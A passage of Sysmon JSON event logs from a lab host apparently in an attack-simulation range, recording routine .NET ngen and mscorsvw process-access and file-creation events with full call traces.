C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.010","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00107B960F00}","TargetProcessId":"4604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.010\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00107B960F00}\r\nTargetProcessId: 4604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.010","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00107B960F00}","TargetProcessId":"4604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.010\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00107B960F00}\r\nTargetProcessId: 4604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.010","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00107B960F00}","TargetProcessId":"4604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:33.041\r\nProcessGuid: {90617006-4315-5F2D-0000-00107B960F00}\r\nProcessId: 4604\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11fc-0\\System.Web.Abstractions.dll\r\nCreationUtcTime: 2020-08-07 12:03:33.041","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:33.041","ProcessGuid":"{90617006-4315-5F2D-0000-00107B960F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11fc-0\\System.Web.Abstractions.dll","CreationUtcTime":"2020-08-07 12:03:33.041","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.088\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010CD990F00}\r\nTargetProcessId: 1596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.088","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010CD990F00}","TargetProcessId":"1596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010CD990F00}\r\nTargetProcessId: 1596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010CD990F00}","TargetProcessId":"1596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.104\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010CD990F00}\r\nTargetProcessId: 1596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.104","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010CD990F00}","TargetProcessId":"1596","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.151\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010179D0F00}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.151","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010179D0F00}","TargetProcessId":"3388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.151\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010179D0F00}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.151","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010179D0F00}","TargetProcessId":"3388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.182\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010179D0F00}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 